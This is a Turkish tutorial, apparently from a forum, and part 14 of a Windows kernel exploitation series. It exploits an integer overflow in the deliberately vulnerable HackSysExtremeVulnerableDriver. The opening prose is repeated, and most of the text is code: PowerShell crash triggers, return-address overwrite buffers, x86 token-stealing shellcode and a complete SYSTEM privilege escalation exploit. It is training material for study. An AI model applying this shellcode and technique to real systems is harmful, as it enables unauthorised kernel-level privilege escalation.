- 21 Eki 2015
- 477
- 1
14. Bölüm:Kernel Exploitleme -> Tam Sayı Taşması
Merhaba ve Windows exploit geliştirme eğitim serisinin 14. bölümüne hoş geldiniz. Bugün @HackSysTeamin aşırı güvenlik açıklı sürücüsü hakkında başka bir yazımız var. Bu sefer tam sayı taşmasını inceleyeceğiz. GS yığın taşması dışında (bunu sonra anlatacağım) ve tür karışıklığı (anlatması kolay ancak GitHubda exploitledim). Bu kolayca exploitlenen güvenlik açıklarının sonuncusu olacak. Debuglama çevresi kurma ile ilgili daha fazla detay için 10. Kısıma göz atmayı unutmayın.
Kaynaklar:
+ HackSysExtremeVulnerableDriver (hacksysteam) - buradan
Zorlukları Keşfetme
Güvenlik açığı olan fonksiyonun bu kısmına bir göz atalım.
Sürücü işlevi, kullanıcı tarafından sağlanan arabelleğin uzunluğunu sürücü tarafından ayrılan arabellek ile karşılaştırır. Ancak açıklı sürümünde bu kontrol şöyle işliyor:
Bug çok açık, terminator boyutu 4 bayt bu yüzden DeviceControlü 0xfffffffc ve 0xfffffff arasında bir arabellek boyutu ile sağlarsak, sürücü tam sayıya 4 ekleyecektir bu da değeri döngüye sokacaktır ve kontrolü geçecektir. Buna benzer bir şeyi PowerShell konsolunda görselleştirebiliriz.
IOCTL değeri bu fonksiyon için 0x222027. IOCTLi nasıl tanımladığımızı görmek için 10. Ve 11. Kısıma göz atmayı unutmayın. Hızlıca IDAya geçiş yapalım ve fonksiyona göz atalım. Aşağıdaki resimde, hatalı uzunluk kontrolü de dahil olmak üzere işlev başlangıcını görüyoruz.
Bu bloğu geçtikten sonra, kullanıcı arabelleğini kernel arabelleğine bitler üzerinden kopyalayan bir döngüye giriyoruz. Aşağıdaki turuncu bloğa dikkat edin, kopyalama süreci DWORD sonlandıran arabellek ile karşılaşana kadar devam eder.
Sürücüyü kısaca bazı beklenen değerler ile besleyelim böylece ilgili fonksiyonu çağırdımızdan emin oluruz.
Harika, beklediğimiz gibi. Şimdi, DeviceControle 0xffffffff boyutu verip kutuyu BSOD yapmaya çalışalım ve sürücü tarafından ayrılandan daha büyük bir arabellek gönderelim (örn: 0x900).
Her şeyi yerle bir et!
Dönüş İşaretçisi Üzerine Yazma
Yukarıda gördüğümüz gibi, exception işleyicisini bozduk. Bu tamamen arzuladığımız şey değil, asıl istediğimiz şey TriggerIntegerOverflow fonksiyonu çıktığında işlemin kontrolünü ele geçirmek amacıyla tam bir yeniden yazmadır.
Bu görevi dikkatli okuyucularıma bırakıyorum. Gelecek nesiller için, exploit geliştirmesi yapmak için Powershellde temelleri icat ettiğim gibi, aşağıdaki kodu arabellek modeli oluşturmak için kullanabilirsiniz.
Fonksiyon dönüş değerini 0x42424242 ile yeniden yazmak için, aşağıdaki arabellek yapısını kullanabiliriz.
Shell Kodu
Kernel yığın taşmasına benzer, BSODyi önlemek için Shell kodu bitişini nasıl onaracağımızı görmemiz gerek. İlk olarak sürücüye beklenen değeri sağladığımızda akışın nasıl işlediğini görmemiz gerek. TriggerIntegerOverflow dönüş talimatına kesme noktası koyacağız.
10. kısımda yaptığımız yığın taşmasına pratikte benziyor gibi görünüyor. Tam sayı taşmasını tetiklediğimizde yığında ne olduğunu kontrol edelim.
Eksik talimatları geri yüklemek için Shell kod bitişini aşağıdaki şekilde değiştirebiliriz.
Oyun Bitti
Bu işimizi görmelidir. Daha fazla bilgi için aşağıdaki tam exploite bakın.
Merhaba ve Windows exploit geliştirme eğitim serisinin 14. bölümüne hoş geldiniz. Bugün @HackSysTeamin aşırı güvenlik açıklı sürücüsü hakkında başka bir yazımız var. Bu sefer tam sayı taşmasını inceleyeceğiz. GS yığın taşması dışında (bunu sonra anlatacağım) ve tür karışıklığı (anlatması kolay ancak GitHubda exploitledim). Bu kolayca exploitlenen güvenlik açıklarının sonuncusu olacak. Debuglama çevresi kurma ile ilgili daha fazla detay için 10. Kısıma göz atmayı unutmayın.
Kaynaklar:
+ HackSysExtremeVulnerableDriver (hacksysteam) - buradan
Zorlukları Keşfetme
Güvenlik açığı olan fonksiyonun bu kısmına bir göz atalım.
Kod:
NTSTATUS TriggerIntegerOverflow(IN P**** UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
SIZE_T TerminatorSize = sizeof(BufferTerminator);
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is not doing any arithmetic
// on the user supplied value. Instead, the developer is subtracting the size of
// ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
// not occur and this check will not fail
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");
// Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
// 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
// integer will wrap down and will finally cause this check to fail
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif
// Perform the copy operation
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Sürücü işlevi, kullanıcı tarafından sağlanan arabelleğin uzunluğunu sürücü tarafından ayrılan arabellek ile karşılaştırır. Ancak açıklı sürümünde bu kontrol şöyle işliyor:
Kod:
BufferTerminator = 0xBAD0B0B0
InputBuffer.Size + BufferTerminator.Size > KernelAllocatedBuffer.Size
Bug çok açık, terminator boyutu 4 bayt bu yüzden DeviceControlü 0xfffffffc ve 0xfffffff arasında bir arabellek boyutu ile sağlarsak, sürücü tam sayıya 4 ekleyecektir bu da değeri döngüye sokacaktır ve kontrolü geçecektir. Buna benzer bir şeyi PowerShell konsolunda görselleştirebiliriz.
Kod:
PS C:\Users\b33f> 0xfffffffc+4
0
PS C:\Users\b33f> 0xffffffff+4
3
IOCTL değeri bu fonksiyon için 0x222027. IOCTLi nasıl tanımladığımızı görmek için 10. Ve 11. Kısıma göz atmayı unutmayın. Hızlıca IDAya geçiş yapalım ve fonksiyona göz atalım. Aşağıdaki resimde, hatalı uzunluk kontrolü de dahil olmak üzere işlev başlangıcını görüyoruz.
Bu bloğu geçtikten sonra, kullanıcı arabelleğini kernel arabelleğine bitler üzerinden kopyalayan bir döngüye giriyoruz. Aşağıdaki turuncu bloğa dikkat edin, kopyalama süreci DWORD sonlandıran arabellek ile karşılaşana kadar devam eder.
Sürücüyü kısaca bazı beklenen değerler ile besleyelim böylece ilgili fonksiyonu çağırdımızdan emin oluruz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
$Buffer = [Byte[]](0x41)*0x100 + [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Harika, beklediğimiz gibi. Şimdi, DeviceControle 0xffffffff boyutu verip kutuyu BSOD yapmaya çalışalım ve sürücü tarafından ayrılandan daha büyük bir arabellek gönderelim (örn: 0x900).
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
$Buffer = [Byte[]](0x41)*0x900 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Her şeyi yerle bir et!
Dönüş İşaretçisi Üzerine Yazma
Yukarıda gördüğümüz gibi, exception işleyicisini bozduk. Bu tamamen arzuladığımız şey değil, asıl istediğimiz şey TriggerIntegerOverflow fonksiyonu çıktığında işlemin kontrolünü ele geçirmek amacıyla tam bir yeniden yazmadır.
Bu görevi dikkatli okuyucularıma bırakıyorum. Gelecek nesiller için, exploit geliştirmesi yapmak için Powershellde temelleri icat ettiğim gibi, aşağıdaki kodu arabellek modeli oluşturmak için kullanabilirsiniz.
Kod:
$Pattern_Create = ([system.Text.Encoding]::ASCII).GetBytes("Aa0Aa1Aa2Aa3Aa........")
Fonksiyon dönüş değerini 0x42424242 ile yeniden yazmak için, aşağıdaki arabellek yapısını kullanabiliriz.
Kod:
$Buffer = [Byte[]](0x41)*0x828 + [Byte[]](0x42)*0x4 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
Shell Kodu
Kernel yığın taşmasına benzer, BSODyi önlemek için Shell kodu bitişini nasıl onaracağımızı görmemiz gerek. İlk olarak sürücüye beklenen değeri sağladığımızda akışın nasıl işlediğini görmemiz gerek. TriggerIntegerOverflow dönüş talimatına kesme noktası koyacağız.
Kod:
kd> bp 9528c9b4
kd> g
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x023CAAEC
[+] UserBuffer Size: 0x108
[+] KernelBuffer: 0xA46B72AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800 ret 8 <-------[Stack] a46b7ad4 9528c9da HackSysExtremeVulnerableDriver+0x49da
a46b7ad8 023cabf0
a46b7adc 00000108
a46b7ae0 a46b7afc
a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
HackSysExtremeVulnerableDriver+0x49da:
9528c9da 5d pop ebp <-------[Stack] a46b7ae0 a46b7afc
a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
a46b7ae8 85edde80
HackSysExtremeVulnerableDriver+0x49db:
9528c9db c20800 ret 8 <-------[Stack] a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
a46b7ae8 85edde80
a46b7aec 85eddef0
a46b7af0 85396620
10. kısımda yaptığımız yığın taşmasına pratikte benziyor gibi görünüyor. Tam sayı taşmasını tetiklediğimizde yığında ne olduğunu kontrol edelim.
Kod:
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x0234FAA4
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x96F4F2AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800 ret 8 <-------[Stack] 96f4fad4 42424242
96f4fad8 023502d0
96f4fadc ffffffff
96f4fae0 96f4fafc
96f4fae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
Eksik talimatları geri yüklemek için Shell kod bitişini aşağıdaki şekilde değiştirebiliriz.
Kod:
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
Oyun Bitti
Bu işimizi görmelidir. Daha fazla bilgi için aşağıdaki tam exploite bakın.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
}
"@
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
$Buffer = [Byte[]](0x41)*0x828 + $EIP + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer size: $($Buffer.Length)"
echo "[+] Fake buffer size: $("{0:X}" -f $Size)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null